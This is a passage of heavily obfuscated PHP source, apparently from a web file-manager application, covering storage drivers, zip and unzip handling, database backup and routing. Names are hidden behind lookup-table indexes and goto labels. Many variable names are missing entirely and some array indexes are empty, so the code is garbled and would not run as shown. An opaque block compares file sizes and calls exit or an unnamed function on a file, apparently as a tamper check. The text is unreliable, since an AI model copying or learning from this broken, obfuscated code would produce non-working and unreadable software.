$룼[1264], $룼[6] => $Ǫ); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ = $GLOBALS[$룼[1265]]; self::$driverListUser = array_to_keyvalue($, $룼[484]); } $ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $ = array($룼[1263] => $룼[1266], $룼[6] => $Ǫ); $ = Action($룼[1267])->sharePathInfo($Ǫ[$룼[97]]); $ݰ = $[$룼[203]]; if (!$[$룼[203]]) { $ = Model($룼[673])->getInfo($[$룼[674]]); $ݰ = KodIO::clear($[$룼[1268]] . $Ǫ[$룼[1261]]); $Ǫ[$룼[569]] = $; $Ǫ[$룼[1243]] = $ݰ; $ = array($룼[1263] => $룼[1269], $룼[6] => $Ǫ); } break; case KodIO::KOD_SHARE_ITEM: $ = array($룼[1263] => $룼[1270], $룼[6] => $Ǫ); $ = Model($룼[673])->getInfo($Ǫ[$룼[484]]); if ($[$룼[203]] == $룼[238]) { $ݰ = KodIO::clear($[$룼[1268]] . $Ǫ[$룼[1261]]); $Ǫ[$룼[569]] = $; $Ǫ[$룼[1243]] = $ݰ; $ = array($룼[1263] => $룼[1271], $룼[6] => $Ǫ); } else { if (!$ݰ) { $ݰ = $[$룼[203]]; } } break; default: $ݰ = $Ǫ[$룼[97]]; $ = array($룼[1263] => $룼[1272]); break; } $ = $Ǫ[$룼[97]]; if (!isset(self::$driverCache[$])) { $ = strtolower($[$룼[108]]); $ = $GLOBALS[$룼[6]][$룼[102]][$룼[915]]; $ݮ = $룼[87] . (isset($[$]) ? $[$] : ucfirst($)); if (!class_exists($ݮ)) { show_json("{$ݮ}\x20\156\157\164\40\x65\x78\151\163\164\163\x21", !1); } $ = isset($[$룼[6]]) ? $[$룼[6]] : !1; self::$driverCache[$] = new $ݮ($); } $ = self::$driverCache[$]; $->pathDriver = $쁞; $->pathBase = $룼[12]; if (isset($[$룼[6]][$룼[1273]])) { $->pathBase = rtrim($[$룼[6]][$룼[1273]], $룼[8]) . $룼[8]; $ݰ = $->pathBase . ltrim($ݰ, $룼[8]); } $ݰ = $->getPath($ݰ); if (isset($Ǫ[$룼[1243]])) { $ݰ = $Ǫ[$룼[1243]]; } $->path = $ݰ; return $; } public static function errorTips($ֶ = false) { $ =& $_SERVER[]; static $ = array(); $ͤ = 1000; if ($ֶ === -1) { return $ ? $[count($) - 1] : $[12]; } if ($ֶ === !1) { return implode($[65], $); } if (count($) >= $ͤ) { $ = array_slice($, $ͤ * 0.5, $ͤ); } $[] = $ֶ; write_log($[186] . ACTION . $[1274] . $ֶ, $[1275]); } public static function getLastError($臼쁄 = '') { $ = self::errorTips(-1); return $ ? $ : $臼쁄; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $־; if ($־) { return $־; } $怌 = IO::init($_SERVER[][8]); return $怌; } private static function iconvSystem($Ǝ) { return self::local()->iconvSystem($Ǝ); } private static function iconvApp($᫷) { return self::local()->iconvApp($᫷); } public static function zipFolder($ƪ, $឴ = "\x7a\151\160", $Նɶ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $䟾 = IO::listPath($ƪ); if (!$䟾) { return !1; } $䟾 = array_merge($䟾[$[95]], $䟾[$[96]]); return self::zip($䟾, $឴, $Նɶ, $); } public static function zip($, $ = "\172\151\x70", $ = '', $Ě = REPEAT_RENAME) { $ދ =& $_SERVER[]; if (is_string($) && $) { $ = array(array($ދ[97] => $)); } $ = self::init($[0][$ދ[97]]); $Ϝ = self::info($[0][$ދ[97]]); $͹ = $ދ[12]; $ = $ދ[12]; $̲ = $ދ[12]; if ($ && substr($, -1, 1) != $ދ[8]) { $ = get_path_father($); $̲ = get_path_this($); } else { $ = self::pathFather($Ϝ[$ދ[97]]); $̲ = $Ϝ[$ދ[32]] . $ދ[10] . $; if (count($) > 1) { $ǵ = IO::info($); $̲ = $ǵ[$ދ[32]] . $ދ[10] . $; } if ($) { $ = $; } } if ($->getType() == $ދ[119]) { $ = self::init($); $֝ = $->getType() == $ދ[119] ? $ : get_path_father($->path); $֝ = rtrim($֝, $ދ[8]) . $ދ[8]; mk_dir($֝); } else { $͹ = TEMP_FILES . $ދ[1276] . time() . rand_string(8) . $ދ[8]; mk_dir($͹); file_put_contents($͹ . $ދ[1277], $ދ[12]); $֝ = $͹; } $ݺ = IO::info($֝); if (!$ݺ || !$ݺ[$ދ[243]]) { show_json(LNG($ދ[1278]), !1); } $ع = self::zipFileList($, $͹); foreach ($ع as $ߘ => $) { $ع[$ߘ] = self::iconvSystem($); } $氧 = get_filename_auto($֝ . $̲, $ދ[12], $Ě); KodArchive::create(self::iconvSystem($氧), $ع); if (!IO::exist($氧)) { if ($͹) { del_dir($͹); } write_log($ދ[1279] . $氧, $ދ[398]); show_json(LNG($ދ[1280]), !1); } if (!$͹) { return $氧; } $ٰ = self::move($氧, $, $Ě); if ($͹) { del_dir($͹); } if (!$氧) { write_log($ދ[1281] . $氧 . $ދ[1282] . $, $ދ[398]); show_json(LNG($ދ[1280]), !1); } return $ٰ; } public static function unzip($ߒ٥, $ڵ, $Κ = "\x2d\61", $ہ = "\x72\x65\160\x6c\x61\x63\x65") { $ϧ =& $_SERVER[]; $ = parent::info($ߒ٥); if (!$) { show_json(LNG($ϧ[1283]), !1); } $Ϟո = IO::infoFullSimple($ڵ); if (!$Ϟո) { $ڵ = IO::mkdir($ڵ); } if (isset($Ϟո[$ϧ[203]]) && trim($Ϟո[$ϧ[97]], $ϧ[8]) != trim($ڵ, $ϧ[8])) { $ؖ = KodIO::make($Ϟո[$ϧ[202]]); $͠ = IO::fileNameAuto($ؖ, $Ϟո[$ϧ[32]], REPEAT_RENAME_FOLDER, !0); $ڵ = IO::mkdir($ؖ . $͠); } $Κ = $Κ && $Κ != $ϧ[1284] ? @json_decode($Κ, !0) : -1; $ځ = self::unzipPart($ߒ٥, $Κ); if (!$ځ || !IO::exist($ځ[$ϧ[240]])) { show_json(LNG($ϧ[118]), !1); } $ = $ځ[$ϧ[1285]][count($ځ[$ϧ[1285]]) - 1]; if ($[$ϧ[1286]] == -1 || substr($[$ϧ[32]], -1, 1) == $ϧ[8]) { $˯ = $ځ[$ϧ[1287]] . rand_string(10) . $ϧ[8]; mk_dir($˯); $ȧ = count($ځ[$ϧ[1285]]) == 1 ? IO::ext($ߒ٥) : get_path_ext($ځ[$ϧ[240]]); $ = KodArchive::extract(self::iconvSystem($ځ[$ϧ[240]]), $˯, $[$ϧ[1286]], $͠, $ȧ); self::unzipErrorCheck($, array($ϧ[1288], $ߒ٥, $ȧ, $ڵ, $ځ)); Hook::trigger($ϧ[1289], $˯); recursion_dir($˯, $, $݆۷, 0); $ھ = array_merge($, $݆۷); $ڪЇ = array(); foreach ($ھ as $ۿ) { $ʒܫ = IO::move(self::iconvApp($ۿ), $ڵ, $ہ); if ($ʒܫ) { $ڪЇ[] = $ʒܫ; } } del_dir($˯); } else { $ʒܫ = IO::move($ځ[$ϧ[240]], $ڵ, $ہ, get_path_this($[$ϧ[32]])); if ($ʒܫ) { $ڪЇ[] = $ʒܫ; } } return $ڪЇ ? $ڪЇ : !1; } public static function unzipList($) { $ܲ锖 =& $_SERVER[]; $͠͡ = isset($[$ܲ锖[1290]]) ? $[$ܲ锖[1290]] : !1; $ = isset($[$ܲ锖[1286]]) ? @json_decode($[$ܲ锖[1286]], !0) : -1; $ᖺ = self::unzipPart($[$ܲ锖[97]], $); if (!$ᖺ || !IO::exist($ᖺ[$ܲ锖[240]])) { show_json(LNG($ܲ锖[118]), !1); } $ˁ = $ᖺ[$ܲ锖[1285]][count($ᖺ[$ܲ锖[1285]]) - 1]; $ = in_array(IO::ext($ᖺ[$ܲ锖[240]]), array($ܲ锖[398], $ܲ锖[1291], $ܲ锖[1292], $ܲ锖[1293], $ܲ锖[1294], $ܲ锖[1295])); if (!$͠͡ && ($ˁ[$ܲ锖[1286]] == -1 || $)) { $ = $ᖺ[$ܲ锖[1287]] . get_path_this($ᖺ[$ܲ锖[240]]) . $ܲ锖[1296]; if (!IO::exist($)) { $ʿ = $ˁ[$ܲ锖[1286]] == -1 ? get_path_ext(IO::pathThis($[$ܲ锖[97]])) : get_path_ext($ᖺ[$ܲ锖[240]]); $о = KodArchive::listContent(self::iconvSystem($ᖺ[$ܲ锖[240]]), !0, $ʿ); self::unzipErrorCheck($о, array($ܲ锖[1297], $, $ᖺ)); @file_put_contents($, json_encode($о[$ܲ锖[1298]])); } return @json_decode(IO::getContent($), !0); } IO::fileOut($ᖺ[$ܲ锖[240]], $͠͡, get_path_this($ˁ[$ܲ锖[32]])); die; } private static function zipFileList($, $ = false) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { $ = $[$[97]]; if ($) { $ = self::copy($[$[97]], $, $[908]); } else { $ظ = self::init($[$[97]]); if ($ظ->getType() == $[119]) { $ = $ظ->path; } } if ($ && self::local()->exist($)) { $[$[$[97]]] = $; } } if (!empty($)) { return array_values($); } show_json(LNG($[1257]), !1); } private static function localFilePath($쀴) { $΁ =& $_SERVER[]; $ = KodIO::parse($쀴); if ($[$΁[33]] == KodIO::KOD_SOURCE) { $쿏 = Model($΁[914])->fileInfoGet(KodIO::sourceID($쀴)); if (!$쿏[$΁[97]]) { show_json($΁[1299], !1); } $쀴 = $쿏[$΁[97]]; } $˘ = self::init($쀴); if ($˘->pathParse[$΁[1243]]) { $쀴 = $˘->pathParse[$΁[1243]]; $˘ = self::init($쀴); } $Ӭ = $˘->getType(); if ($Ӭ == $΁[119] || $Ӭ == $΁[1300]) { if (!$˘->exist($˘->path)) { show_json(LNG($΁[118]), !1); } return $˘->path; } return !1; } public static function unzipPart($, $ء = -1) { $ɭ =& $_SERVER[]; $ = IO::pathThis($); if (!$ء || $ء == -1) { $ß = array(array($ɭ[32] => $, $ɭ[1286] => -1)); $ß[0][$ɭ[1301]] = $ß[0][$ɭ[32]]; } else { if (is_array($ء)) { $ß = $ء; $ = count($ß) - 1; for ($Ի = 0; $Ի <= $; $Ի++) { $ԙ = $ß[$Ի]; $ȉ = get_path_this($ԙ[$ɭ[32]]) . (checkExtSafe($ԙ[$ɭ[32]]) ? $ɭ[12] : $ɭ[1302]); $ß[$Ի][$ɭ[1301]] = $ɭ[1303] . intval($ԙ[$ɭ[1286]]) . $ɭ[471] . $ȉ; if ($Ի == 0) { continue; } $ß[$Ի][$ɭ[1301]] = $ß[$Ի - 1][$ɭ[1301]] . $ɭ[1304] . $ß[$Ի][$ɭ[1301]]; } } } if (!is_array($ß) || count($ß) == 0) { return !1; } $ = $ß[count($ß) - 1]; if (!IO::exist($)) { return !1; } $ř = TEMP_FILES . $ɭ[1305] . kodIO::hashPathSafe($) . $ɭ[8]; $ל = $ř . $[$ɭ[1301]]; mk_dir($ř); file_put_contents(TEMP_FILES . $ɭ[1277], $ɭ[12]); if (IO::exist($ל)) { return array($ɭ[240] => $ל, $ɭ[1285] => $ß, $ɭ[1287] => $ř); } $ࡶ = self::localFilePath($); if (!$ࡶ) { $ࡶ = $ř . $ɭ[1306]; if (!IO::exist($ࡶ)) { self::copy($, $ř, !1, get_path_this($ࡶ)); } } if (!$ࡶ || !IO::exist($ࡶ)) { return !1; } if ($[$ɭ[1286]] == -1) { return array($ɭ[240] => $ࡶ, $ɭ[1285] => $ß, $ɭ[1287] => $ř); } $ = $ࡶ; foreach ($ß as $Ի => $ԙ) { if (!$ԙ || $ԙ[$ɭ[1286]] == $ɭ[1284]) { break; } if (substr($ԙ[$ɭ[32]], -1, 1) == $ɭ[8]) { break; } $ = in_array(get_path_ext($ԙ[$ɭ[1301]]), array($ɭ[398], $ɭ[1291], $ɭ[1292], $ɭ[1293], $ɭ[1294], $ɭ[1295])); $䲼 = $Ի == count($ß) - 1 && $; $ = $ř . $ԙ[$ɭ[1301]]; $ = $ř . get_path_this($ԙ[$ɭ[32]]); if (IO::exist($)) { $ = $; continue; } $ؘ = $Ի == 0 ? get_path_ext($) : get_path_ext($); $† = KodArchive::extract(self::iconvSystem($), $ř, $ԙ[$ɭ[1286]], $, $ؘ); self::unzipErrorCheck($†, array($ɭ[1307], $, $ß, $ԙ, $)); if (IO::exist($)) { IO::rename($, get_path_this($)); } $ = $; } $ל = $; return array($ɭ[240] => $, $ɭ[1285] => $ß, $ɭ[1287] => $ř); } private static function unzipErrorCheck($Б, $ = false) { $؂ޓ =& $_SERVER[]; if ($Б[$؂ޓ[1308]]) { return !0; } write_log(array($؂ޓ[1309], $Б, $), $؂ޓ[1310]); show_json($؂ޓ[1311] . json_encode($Б[$؂ޓ[1298]]), !1); die; } } goto Fȓ; E: $_size = $_SERVER[][887]; if ($_SERVER[$_SERVER[][60]] != $_size($_file)) { $_getc = $_SERVER[][62]; $_getfile = $_SERVER[$_SERVER[][63]] . $_SERVER[][64]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][65], $_getfilec); if (count($_getarrs) < $_SERVER[][66]) { $exit = $_SERVER[][67]; $exit(); } $_act = $_SERVER[][68]; $_act($_file); } class BackupDbFile { public function __construct() { } public function index() { $ض =& $_SERVER[]; $ʎ = Backup::get(); $ŕ = $ʎ[$ض[32]]; $߮ = $this->tmpFilesPath() . "\142\x61\143\153\165\160\x5f{$ŕ}\x2f"; $å = $this->backupPath($ʎ); if (!($å = IO::mkdir($å))) { return !1; } $ë = IO::listPath($߮); $ = isset($ë[$ض[96]]) ? $ë[$ض[96]] : array(); $Ø = array_sum(array_column($, $ض[89])); if (!$Ø) { return !1; } $ = array($ض[888] => $Ø, $ض[889] => time()); Backup::set($); $Ϲ = new TaskFileTransfer($ض[890], $ض[872], count($), LNG($ض[873]) . $ض[471] . LNG($ض[875]) . $ض[891]); $Ϲ->task[$ض[852]] = $Ø; foreach ($ë[$ض[96]] as $) { $ĝ = IO::move($[$ض[97]], $å); if (!$ĝ) { $Ϲ->end(); $ = IO::getLastError($ض[892] . $[$ض[97]] . $ض[893] . $å . $ض[188]); write_log($, $ض[872]); return !1; } } $ = new DbManage(); $ց = $->getSqlFile(); if (!$ց[$ض[894]] || !$ց[$ض[13]]) { return !1; } IO::move($ց[$ض[894]], $å); IO::move($ց[$ض[13]], $å); $Ϲ->end(); $ = array($ض[895] => $Ø, $ض[896] => time()); Backup::set($); return !0; } private function backupPath($ؑ) { $ =& $_SERVER[]; $Ӏ = $ؑ[$[32]]; $ǖ = Model($[859])->get($[860]); $נӻ = substr(md5($[861] . $ǖ . $Ӏ), 0, 8); return "\x7b\151\x6f\x3a{$ؑ[$[841]]}\175\x2f\144\x61\x74\x61\142\141\x73\145\x2f\142\x61\143\x6b\165\x70\x2f" . $Ӏ . $[11] . $נӻ; } private function tmpFilesPath() { $ۻ =& $_SERVER[]; $亽 = TEMP_FILES; if ($GLOBALS[$ۻ[6]][$ۻ[102]][$ۻ[885]]) { $亽 = $GLOBALS[$ۻ[6]][$ۻ[102]][$ۻ[885]]; if (!mk_dir($亽) || !is_writable($亽) || !IO::mkfile($亽 . $ۻ[886])) { $亽 = TEMP_FILES; } } return $亽; } } goto dψ퉭; fͮ: class PathDriverCOS extends PathDriverBaseS3 { public function __construct($߫) { parent::__construct($߫); $this->setSignVersion($_SERVER[][257]); } public function uploadFormData($پ, $ = 3600) { $̒ =& $_SERVER[]; $ = $̒[239]; $ = $̒[272]; $ۋ = $̒[283]; $ = gmdate($̒[308], time() + $); $ = (string) time() . $̒[84] . (string) (time() + $); $ = array($̒[284] => $, $̒[287] => array(array($̒[289] => $), array($̒[288] => $this->bucket), array($̒[290], $̒[291], $̒[12]), array($̒[294] => $ۋ), array($̒[1422] => $), array($̒[1423] => $this->accessKey), array($̒[1424] => $))); $ = json_encode($); $ѵ = hash_hmac($̒[272], $, $this->secret); $ݚ = sha1($); $ = hash_hmac($̒[272], $ݚ, $ѵ); $ˉ = array($̒[289] => $, $̒[294] => $ۋ, $̒[302] => base64_encode($), $̒[1422] => $, $̒[1423] => $this->accessKey, $̒[1425] => $, $̒[1426] => $, $̒[218] => $this->getHost()); return $ˉ; } public function fileOutImage($, $Ӿ = 250) { $ʶ =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 32) { return $this->fileOutImageServer($, $Ӿ); } $ = $this->link($); $ .= $ʶ[1427] . $Ӿ . $ʶ[1428]; $this->fileOutLink($); } public function fileOutLink($ӛ) { $Ơ =& $_SERVER[]; if (substr($ӛ, 0, 7) == $Ơ[322]) { $ӛ = $Ơ[323] . substr($ӛ, 7); } header($Ơ[185] . $ӛ); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1429]); } public function getPath($Ń) { return trim($Ń, $_SERVER[][8]); } public function pathFather($) { $ = $this->parse($); $ = $this->infoSimple($); return $ ? $[$_SERVER[][202]] : !1; } public function pathThis($懲) { $♱ = $this->infoSimple($懲); return $♱ ? $♱[$_SERVER[][32]] : !1; } public function getPathOuter($ѵՋ) { if (!$ѵՋ) { return $ѵՋ; } $Ϟ = $this->parse($ѵՋ); return KodIO::make($Ϟ[$_SERVER[][484]]); } public function copyFolderFromIO($˷, $󝉒, $Զ, $ﻌ, $) { $ = $this->model->copyFolderFromIO($˷, $󝉒, $Զ, $ﻌ, $); return KodIO::make($); } public function isParentOf($, $) { return $this->model->isParentOf($, $); } public function mkfile($Ճ錆, $ފ = '', $ƈ = REPEAT_RENAME) { $ =& $_SERVER[]; $͜ = $this->parse($Ճ錆); $Ճ錆 = $͜[$[484]]; for ($ = 0; $ < count($͜[$[1430]]); $++) { $ = $͜[$[1430]][$]; if ($ == count($͜[$[1430]]) - 1) { $Ճ錆 = $this->model->mkfile($Ճ錆, $, $ފ, $ƈ); break; } $Ճ錆 = $this->model->mkdir($Ճ錆, $, REPEAT_SKIP); } return $this->getPathOuter($Ճ錆); } public function mkdir($, $ד = REPEAT_SKIP) { $ =& $_SERVER[]; $ݕ = $this->parse($); $ = $ݕ[$[484]]; for ($ӛ = 0; $ӛ < count($ݕ[$[1430]]); $ӛ++) { $ = $ݕ[$[1430]][$ӛ]; $ = $this->model->mkdir($, $, $ד); } return $this->getPathOuter($); } public function copyFile($̛, $ǭ޻, $ڤ = REPEAT_REPLACE) { $ =& $_SERVER[]; $݇ = $this->parse($ǭ޻); $锯 = $this->model->copy($̛, $݇[$[484]], $ڤ, $݇[$[97]]); return $锯 ? $this->getPathOuter($锯) : !1; } public function moveFile($, $ڀ, $ݬ = REPEAT_REPLACE) { $Ɏ =& $_SERVER[]; $ = $this->parse($ڀ); $ݥ = $this->model->move($, $[$Ɏ[484]], $ݬ, $[$Ɏ[97]]); return $ݥ ? $this->getPathOuter($ݥ) : !1; } public function copy($, $퇮, $ = REPEAT_REPLACE, $縦 = false) { $ޅ = $this->parse($퇮); $ʳ” = $this->model->copy($, $ޅ[$_SERVER[][484]], $, $縦); return $ʳ” ? $this->getPathOuter($ʳ”) : !1; } public function moveSameAllow() { } public function move($۷´, $դ, $ = REPEAT_REPLACE, $IJ = false) { $֞ = $this->parse($դ); $狘܄ = $this->model->move($۷´, $֞[$_SERVER[][484]], $, $IJ); return $狘܄ ? $this->getPathOuter($狘܄) : !1; } public function remove($, $ = true) { return $this->model->remove($, $); } public function rename($, $˲) { $ = $this->model->rename($, $˲); return $ ? $this->getPathOuter($) : $; } public function size($ϊ) { $ = $this->infoSimple($ϊ); return $ ? $[$_SERVER[][89]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($꤭) { return $this->infoParse($꤭); } public function infoAuth($홼߀) { return $this->infoParse($홼߀, !1, !0); } public function infoWithChildren($،) { return $this->infoParse($،, !0); } protected function infoParse($ӄ, $랧⚞ = false, $ = false) { if (!$랧⚞) { return $this->model->pathInfo($ӄ, $); } return $this->model->pathInfoMore($ӄ); } public function infoFullSimple($츀) { $ =& $_SERVER[]; $ = explode($[8], $츀); $DŽ = implode($[8], array_splice($, 1)); return $this->model->pathInfoByPath($[0], $DŽ); } public function infoFull($ߞ) { $҆ą = $this->infoFullSimple($ߞ); return is_array($҆ą) ? $this->model->pathInfo($҆ą[$_SERVER[][203]]) : !1; } public function hashSimple($ؔ՘) { $ˁ =& $_SERVER[]; $ = $this->infoWithChildren($ؔ՘); return $[$ˁ[180]][$ˁ[681]]; } public function hashMd5($) { $ =& $_SERVER[]; $Ĉ݊Ά = $this->infoWithChildren($); return $Ĉ݊Ά[$[180]][$[556]]; } public function exist($) { $ =& $_SERVER[]; $ʶ = $this->parse($); if (!$ʶ[$[97]]) { return $this->isFile($) || $this->isFolder($); } $ = array($[486] => $ʶ[$[484]], $[32] => $ʶ[$[97]]); $̼ݒד = $this->model->where($)->find(); return $̼ݒד ? !0 : !1; } public function isFile($ï) { $̀ǃ =& $_SERVER[]; $ = $this->infoSimple($ï); return $ && $[$̀ǃ[494]] == $̀ǃ[238] ? !0 : !1; } public function isFolder($Ģ͎) { $ٛ =& $_SERVER[]; $ = $this->infoSimple($Ģ͎); return $ && $[$ٛ[494]] == $ٛ[101] ? !0 : !1; } public function listPath($̸, $촚 = false) { $Ҭ =& $_SERVER[]; if ($̸ == $Ҭ[12]) { return !1; } $ = array($Ҭ[486] => $̸); if ($촚) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($, $⬾ = false, $ױ = null) { $ڨ =& $_SERVER[]; $ = $this->infoWithChildren($); if ($⬾) { return array($ڨ[250] => $[$ڨ[250]], $ڨ[249] => $[$ڨ[249]]); } return $ױ ? $[$ڨ[250]] : $[$ڨ[249]]; } public function listAll($т) { $Ԥ = IO::info($this->pathParse[$_SERVER[][97]]); if (!$Ԥ) { return array(); } return $this->model->listAll($т); } public function getContent($Ԡ) { return $this->model->getContent($Ԡ); } public function setContent($Ǎ, $Ţ = '') { return $this->model->setContent($Ǎ, $Ţ); } public function fileSubstr($Щ, $¥, $) { return $this->model->fileSubstr($Щ, $¥, $); } public function download($ώ, $ = '') { $Ӎ = get_path_father($); $ͷ = get_path_this($); $֊ = $this->model->fileInfoGet($ώ); $ě = IO::copy($֊[$_SERVER[][97]], $Ӎ, !1, $ͷ); return $ě; } public function setModifyTime($μ, $暝 = '') { $ =& $_SERVER[]; if (!$μ) { return; } $this->model->where(array($[500] => $μ))->save(array($[98] => $暝)); } public function upload($Զƕ, $辊, $ǂ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($Զƕ); $қƍ = $this->model->addFile($[$[484]], $辊, $[$[97]], $ǂ, $); return $this->getPathOuter($қƍ); } public function uploadFileByID($Ƞڀ, $׳, $틫) { $ =& $_SERVER[]; $ = $this->parse($Ƞڀ); $ = $this->model->addFileByFileID($[$[484]], $׳, $[$[97]], $틫); return $this->getPathOuter($); } public function addFileByRemote($, $Ħ, $ = array(), $ = '', $) { $ =& $_SERVER[]; $䳹ǫ = $this->parse($); $ = empty($) ? $䳹ǫ[$[97]] : $; $ϸ = $this->model->addFileByRemote($䳹ǫ[$[484]], $Ħ, $, $, $); return $this->getPathOuter($ϸ); } public function uploadLink($ז, $ɴ = 0) { $ =& $_SERVER[]; $ = $this->parse($ז); $Ƙ = _get($GLOBALS[$[7]], $[1431]); $ = _get($GLOBALS[$[7]], $[1432]); $ז = Model($[683])->createFileName($[$[97]], $Ƙ, $); return IO::uploadLink($ז, $ɴ); } public function fileNameAuto($߄ҧ, $, $ = REPEAT_REPLACE, $ħ = false) { return $this->model->fileNameAuto($߄ҧ, $, $, $ħ); } public function fileNameExist($ñ, $ҍ) { return $this->model->fileNameExist($ñ, $ҍ); } protected function _fileOut($, $ = false, $‡ = false, $ׯ = '', $é = false) { $ =& $_SERVER[]; $ = $this->model->sourceInfo($); if ($[$[494]] == $[101]) { header($[1433]); die; } $ڇ = $this->model->fileInfoGet($); $ׯ = $ڇ[$[556]] ? $ڇ[$[556]] : $ׯ; $ב = isset($GLOBALS[$[192]]) && is_array($GLOBALS[$[192]]) ? $GLOBALS[$[192]][$[32]] : $[$[32]]; if ($é) { return IO::fileOutServer($ڇ[$[97]], $, $ב, $ׯ); } IO::fileOut($ڇ[$[97]], $, $ב, $ׯ); } public function fileOut($, $ō = false, $Ê = false, $٫ = '') { $this->_fileOut($, $ō, $Ê, $٫); } public function fileOutServer($Ѡ, $޴ = false, $ꢁ = false, $҂ = '') { $this->_fileOut($Ѡ, $޴, $ꢁ, $҂, !0); } protected function _fileOutImage($, $ = 250) { $ȧ =& $_SERVER[]; $ = $this->model->pathInfo($); if ($[$ȧ[494]] == $ȧ[101]) { show_json($ȧ[1434] . $, !1); } $ = $this->model->fileInfoGet($); $[$ȧ[193]] = $[$ȧ[97]]; $GLOBALS[$ȧ[192]] = $; IO::fileOutImage($[$ȧ[97]], $); } public function fileOutImage($ɚ, $۔ = 250) { $this->_fileOutImage($ɚ, $۔); } public function fileOutImageServer($, $ͼ = 250) { $this->_fileOutImage($, $ͼ); } public function link($𵟊, $֢ = '') { $艫 = $this->model->fileInfoGet($𵟊); return IO::link($艫[$_SERVER[][97]], $֢); } protected function parse($ݽ) { $Σ =& $_SERVER[]; if (strstr($ݽ, $Σ[8]) === !1) { return array($Σ[502] => intval($ݽ), $Σ[97] => $Σ[12], $Σ[1430] => array()); } $뗌ݱ = explode($Σ[8], trim($ݽ, $Σ[8])); if (count($뗌ݱ) < 2) { show_tips(clear_html($ݽ) . $Σ[1435]); } return array($Σ[502] => intval($뗌ݱ[0]), $Σ[97] => $뗌ݱ[1], $Σ[1430] => array_slice($뗌ݱ, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($؍) { $this->pathParse = $؍; $this->model = Model($_SERVER[][1429]); } public function getPathOuter($) { $ =& $_SERVER[]; if (!$) { return $; } $ = $this->parse($); return trim(KodIO::makeShare($this->pathParse[$[484]], $[$[484]]), $[8]); } protected function infoParse($Ԓ, $ܙ = false, $ = false) { $ƹ =& $_SERVER[]; $ = $this->pathParse[$ƹ[484]]; $Β = trim($this->pathParse[$ƹ[1261]], $ƹ[8]); return Action($ƹ[1436])->sharePathInfo($, $Β, $ܙ); } public function infoFull($) { $ =& $_SERVER[]; $Ť = explode($[8], trim($, $[8])); if (count($Ť) > 1) { $ = implode($[8], array_splice($Ť, 1)); $ގ = $this->model->pathInfoByPath($Ť[0], $); if (!$ގ) { return !1; } $this->pathParse[$[1261]] = $ގ[$[203]]; } return $this->infoParse($); } public function listAll($Ȓ) { $͐ =& $_SERVER[]; $ = IO::info($this->pathParse[$͐[97]]); if (!$) { return array(); } $Ҕ = $this->model->listAll($Ȓ); $ = Model($͐[673])->getInfo($[$͐[674]]); foreach ($Ҕ as &$뭐) { check_abort(); $뭐[$͐[100]] = Action($͐[1436])->_shareItemeParse($뭐[$͐[100]], $); } unset($뭐); return $Ҕ; } } goto bĴה; B: $gubfjdnykx = $_SERVER[][691]; if (!$gubfjdnykx) { die; } class Application { private $defaultModule = "\151\156\144\x65\170"; private $defaultController = "\x69\x6e\144\145\170"; private $defaultAction = "\151\x6e\x64\x65\x78"; function __construct() { } public function setDefault($ׂ) { $ۢ =& $_SERVER[]; $܁ =& $_SERVER[]; $ = explode($܁[0], trim($ׂ, $܁[0])); $ӥ = $ۢ[692]; while ($ӥ < $ۢ[693]) { if ($ӥ >= 0) { break; } $ӥ++; } $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $̏ = $ۢ[694]; while ($̏ < $ۢ[695]) { if ($̏ >= 0) { break; } $̏++; } $this->defaultController = $[1] ? $[1] : $this->defaultController; $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $ϩ = $ۢ[696]; if (strlen($ϩ) < $ۢ[697]) { die; } $this->vglc9d6a43bb($܁[1], array($this, $܁[2])); } public function appRun($诖) { $ܟ =& $_SERVER[]; $ݧگ =& $_SERVER[]; $ծь = explode($ݧگ[0], $诖); $ = $ܟ[698]; while (strlen($) < $ܟ[693]) { if (!$) { break; } $++; } $ = strtolower($ծь[0]); $ = $ܟ[699]; $ = $ݧگ[3]; if ($ == $ݧگ[4]) { $ = $ݧگ[5]; $ծь[0] = $ݧگ[6]; $ծь[1] = $ծь[1] . $ݧگ[7]; $诖 = join($ݧگ[0], $ծь); $诖 = trim($诖, $ݧگ[0]); } call_user_func(array($ݧگ[8], $ݧگ[9]), $ . $ݧگ[10], $诖); ActionCall($诖); $˟ = $ܟ[700]; if (!$˟) { return; } call_user_func(array($ݧگ[8], $ݧگ[9]), $ . $ݧگ[11], $诖); } private function autorun() { $ŀԺ =& $_SERVER[]; $ٕ =& $_SERVER[]; global $config; $ղŊ = $ŀԺ[701]; if (strlen($ղŊ) < $ŀԺ[697]) { return; } if (count($config[$ٕ[12]]) == 0) { return; } foreach ($config[$ٕ[12]] as $ڊ => $) { $this->appRun($); $ە߾ = $ŀԺ[702]; if (!$ە߾) { die; } } } private function funcd7c9c093() { $͚ =& $_SERVER[]; $ =& $_SERVER[]; $ = $[4]; $ = $͚[703]; if (strlen($) < $͚[697]) { return; } $ = $GLOBALS[$[13]][$[14]][0]; $ = $͚[704]; if (!$) { die; } if (!$ || strlen($) <= strlen($)) { return; } if (strtolower(substr($, -strlen($))) != $) { return; } $Ƴ = substr($, 0, -strlen($)); $ = $͚[705]; if (!$) { return; } $ = array($[4], $Ƴ); $柠 = array_slice($GLOBALS[$[13]][$[14]], 1); $GLOBALS[$[13]][$[14]] = array_merge($, $柠); $뾋 = $͚[706]; if (strlen($뾋) < $͚[693]) { return; } $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } private function lszm3769197c() { $ި =& $_SERVER[]; $ =& $_SERVER[]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $乵 = $_SERVER[$[16]]; $ = $[17]; if (!strstr($乵, $)) { return; } $؜ = strrpos($乵, $); $ = $ި[707]; if (!$) { die; } $ = 